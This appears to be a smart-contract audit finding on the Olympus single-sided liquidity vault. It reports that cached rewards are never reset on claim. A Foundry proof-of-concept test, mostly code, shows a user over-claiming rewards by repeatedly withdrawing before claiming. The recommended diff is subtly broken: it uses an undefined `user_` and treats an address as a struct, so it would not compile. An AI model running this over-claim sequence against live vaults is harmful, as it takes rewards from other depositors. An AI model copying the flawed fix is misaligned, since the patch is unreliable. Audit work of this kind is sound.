jonatascm

high

# cachedUserRewards increasing forever

## Summary

The `cachedUserRewards` variable is not reset when claiming rewards preventing users to get a partial part of rewards.

## Vulnerability Detail

When the user withdraws without claiming rewards, these rewards are cached in `cachedUserRewards` variable. After some time when the user claims the rewards, the cached rewards are added to the amount of rewards available and transferred to the user. 

## POC

```solidity 
contract VaultMockTest is Test {
    using FullMath for uint256;
    using larping for *;

    UserFactory public userCreator;
    address internal alice;
    address internal bob;
    address public godmode;

    OlympusERC20Token internal ohm;
    MockWsteth internal wsteth;
    MockERC20 internal reward;
    MockERC20 internal reward2;
    MockERC20 internal externalReward;

    MockPriceFeed internal ohmEthPriceFeed;
    MockPriceFeed internal ethUsdPriceFeed;
    MockPriceFeed internal stethUsdPriceFeed;

    MockVault internal vault;
    MockBalancerPool internal liquidityPool;

    MockAuraBooster internal booster;
    MockAuraRewardPool internal auraPool;

    Kernel internal kernel;
    OlympusMinter internal minter;
    OlympusLiquidityRegistry internal lqreg;
    OlympusRoles internal roles;

    RolesAdmin internal rolesAdmin;
    WstethLiquidityVault internal liquidityVault;

    IOlympusAuthority internal auth;

    uint256 internal constant WSTETH_AMOUNT = 1e18;
    uint256[] internal minTokenAmounts_ = [100e9, 1e18];

    function setUp() public {
        vm.warp(51 * 365 * 24 * 60 * 60); // Set timestamp at roughly Jan 1, 2021 (51 years since Unix epoch)

        {
            // Deploy mock users
            userCreator = new UserFactory();
            address[] memory users = userCreator.create(2);
            alice = users[0];
            bob = users[1];
        }

        {
            // Deploy auth
            auth = new MockLegacyAuthority(address(0x0));
        }

        {
            // Deploy mock tokens
            ohm = new OlympusERC20Token(address(auth));
            wsteth = new MockWsteth("Wrapped Staked ETH", "wstETH", 18);
            reward = new MockERC20("Reward Token", "REWARD", 18);
            reward2 = new MockERC20("Reward Token 2", "REWARD2", 18);
            externalReward = new MockERC20("External Reward Token", "EXTREWARD", 18);
        }

        {
            // Deploy mock price feeds
            ohmEthPriceFeed = new MockPriceFeed();
            ethUsdPriceFeed = new MockPriceFeed();
            stethUsdPriceFeed = new MockPriceFeed();

            ohmEthPriceFeed.setDecimals(18);
            ethUsdPriceFeed.setDecimals(8);
            stethUsdPriceFeed.setDecimals(8);

            ohmEthPriceFeed.setLatestAnswer(1e16); // 0.01 ETH
            ethUsdPriceFeed.setLatestAnswer(1000e8); // 1000 USD
            stethUsdPriceFeed.setLatestAnswer(1000e8); // 1000 USD
        }

        {
            // Deploy mock Balancer contracts
            liquidityPool = new MockBalancerPool();
            vault = new MockVault(address(liquidityPool), address(ohm), address(wsteth));
            vault.setPoolAmounts(100e9, 1e18);
        }

        {
            // Deploy mock Aura contracts
            auraPool = new MockAuraRewardPool(address(vault.bpt()), address(externalReward));
            booster = new MockAuraBooster(address(vault.bpt()), address(auraPool));
        }

        {
            // Deploy kernel
            kernel = new Kernel();

            // Deploy modules
            minter = new OlympusMinter(kernel, address(ohm));
            lqreg = new OlympusLiquidityRegistry(kernel);
            roles = new OlympusRoles(kernel);

            // Set vault in auth to MINTR
            auth.vault.larp(address(minter));
        }

        {
            // Deploy roles admin
            rolesAdmin = new RolesAdmin(kernel);

            WstethLiquidityVault.OracleFeed memory ohmEthFeedStruct = WstethLiquidityVault
                .OracleFeed({feed: ohmEthPriceFeed, updateThreshold: 1 days});
            WstethLiquidityVault.OracleFeed memory ethUsdFeedStruct = WstethLiquidityVault
                .OracleFeed({feed: ethUsdPriceFeed, updateThreshold: 1 days});
            WstethLiquidityVault.OracleFeed memory stethUsdFeedStruct = WstethLiquidityVault
                .OracleFeed({feed: stethUsdPriceFeed, updateThreshold: 1 days});

            WstethLiquidityVault.AuraPool memory auraPoolStruct = WstethLiquidityVault.AuraPool({
                pid: 0,
                booster: IAuraBooster(booster),
                rewardsPool: IAuraRewardPool(auraPool)
            });

            // Deploy wstETH Single Sided Liquidity Vault
            liquidityVault = new WstethLiquidityVault(
                kernel,
                address(ohm),
                address(wsteth),
                address(vault),
                address(0), // Balancer helper, not needed in mock tests
                address(liquidityPool),
                ohmEthFeedStruct,
                ethUsdFeedStruct,
                stethUsdFeedStruct,
                auraPoolStruct
            );
        }

        {
            // Initialize system and kernel

            // Initialize modules
            kernel.executeAction(Actions.InstallModule, address(minter));
            kernel.executeAction(Actions.InstallModule, address(lqreg));
            kernel.executeAction(Actions.InstallModule, address(roles));

            // Approve policies
            kernel.executeAction(Actions.ActivatePolicy, address(rolesAdmin));
            kernel.executeAction(Actions.ActivatePolicy, address(liquidityVault));
        }

        {
            // Set roles
            rolesAdmin.grantRole("liquidityvault_admin", address(this));
        }

        {
            // Set limit
            liquidityVault.setLimit(1000e9); // 1000 OHM

            // Set price variation threshold to 10%
            liquidityVault.setThreshold(100);

            // Add reward token
            liquidityVault.addInternalRewardToken(address(reward), 1e18, block.timestamp); // 1 REWARD token per second

            // Activate vault
            liquidityVault.activate();

            reward.mint(address(liquidityVault), 1e30);
        }

        {
            /// Initialize timestamps on mock price feeds
            ohmEthPriceFeed.setTimestamp(block.timestamp);
            ethUsdPriceFeed.setTimestamp(block.timestamp);
            stethUsdPriceFeed.setTimestamp(block.timestamp);
        }

        {
            // Mint wstETH to alice
            wsteth.mint(alice, 2*WSTETH_AMOUNT);
            wsteth.mint(bob, 2*WSTETH_AMOUNT);

            // Approve vault to spend alice's wstETH
            vm.prank(alice);
            wsteth.approve(address(liquidityVault), 2*WSTETH_AMOUNT);
            
            vm.prank(bob);
            wsteth.approve(address(liquidityVault), 2*WSTETH_AMOUNT);
        }
    }

    function _depositTimeSetUp() internal {
        vm.prank(alice);
        liquidityVault.deposit(WSTETH_AMOUNT, 1e18);
        vm.prank(bob);
        liquidityVault.deposit(WSTETH_AMOUNT, 1e18);
        vm.warp(block.timestamp + 10); // Increase time 10 seconds so there are rewards
    }

    function testVulnerability() public {
        // Deposit for Alice and Bob
        _depositTimeSetUp();

        // Withdraw and claim
        vm.startPrank(alice);
        liquidityVault.withdraw(1e18, minTokenAmounts_, false);
        //cachedUserRewards will not be updated correctly
        liquidityVault.claimRewards();
        vm.stopPrank();


        // Deposit for Alice and Bob
        _depositTimeSetUp();
        vm.startPrank(alice);
        liquidityVault.withdraw(1e18, minTokenAmounts_, false);
        //This claim will reward more tokens than expected
        liquidityVault.claimRewards();
        vm.stopPrank();

        //Bob didn't withdraw multiple times but deposit the same amount as Alice
        //He should receive more rewards because he didn't withdraw  and deposited again
        vm.startPrank(bob);
        liquidityVault.withdraw(2e18, minTokenAmounts_, false);
        liquidityVault.claimRewards();
        vm.stopPrank();

        //This means that alice received more reward than bob by withdrawing without claim, to fix is necessary to reset cached rewards
        //Alice received 18333333333333333333
        //Bob received 16666666666666666666
        //The asset will fail
        assertEq(reward.balanceOf(alice), reward.balanceOf(bob));
    }
}
```

## Impact

Not reseting cached rewards, the user will only increase this value receiving each time more rewards.

## Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L623-L648

```solidity
function _claimInternalRewards(uint256 id_) internal {
  address rewardToken = internalRewardTokens[id_].token;
  uint256 reward = internalRewardsForToken(id_, msg.sender);
  uint256 fee = (reward * FEE) / PRECISION;

  userRewardDebts[msg.sender][rewardToken] += reward;
  accumulatedFees[rewardToken] += fee;

  if (reward > 0) ERC20(rewardToken).safeTransfer(msg.sender, reward - fee);

  emit RewardsClaimed(msg.sender, rewardToken, reward - fee);
}

function _claimExternalRewards(uint256 id_) internal {
  ExternalRewardToken storage rewardToken = externalRewardTokens[id_];
  uint256 reward = externalRewardsForToken(id_, msg.sender);
  uint256 fee = (reward * FEE) / PRECISION;

  userRewardDebts[msg.sender][rewardToken.token] += reward;
  accumulatedFees[rewardToken.token] += fee;

  if (reward > 0) ERC20(rewardToken.token).safeTransfer(msg.sender, reward - fee);
  rewardToken.lastBalance = ERC20(rewardToken.token).balanceOf(address(this));

  emit RewardsClaimed(msg.sender, rewardToken.token, reward - fee);
}
```

## Tool used

Manual Review

## Recommendation

Is recommended to reset cached rewards after claiming

```diff
function _claimInternalRewards(uint256 id_) internal {
  address rewardToken = internalRewardTokens[id_].token;
  uint256 reward = internalRewardsForToken(id_, msg.sender);
  uint256 fee = (reward * FEE) / PRECISION;

+ cachedUserRewards[user_][rewardToken.token] = 0;
  userRewardDebts[msg.sender][rewardToken] += reward;
  accumulatedFees[rewardToken] += fee;

  if (reward > 0) ERC20(rewardToken).safeTransfer(msg.sender, reward - fee);

  emit RewardsClaimed(msg.sender, rewardToken, reward - fee);
}

function _claimExternalRewards(uint256 id_) internal {
  ExternalRewardToken storage rewardToken = externalRewardTokens[id_];
  uint256 reward = externalRewardsForToken(id_, msg.sender);
  uint256 fee = (reward * FEE) / PRECISION;

+ cachedUserRewards[user_][rewardToken.token] = 0;
  userRewardDebts[msg.sender][rewardToken.token] += reward;
  accumulatedFees[rewardToken.token] += fee;

  if (reward > 0) ERC20(rewardToken.token).safeTransfer(msg.sender, reward - fee);
  rewardToken.lastBalance = ERC20(rewardToken.token).balanceOf(address(this));

  emit RewardsClaimed(msg.sender, rewardToken.token, reward - fee);
}
```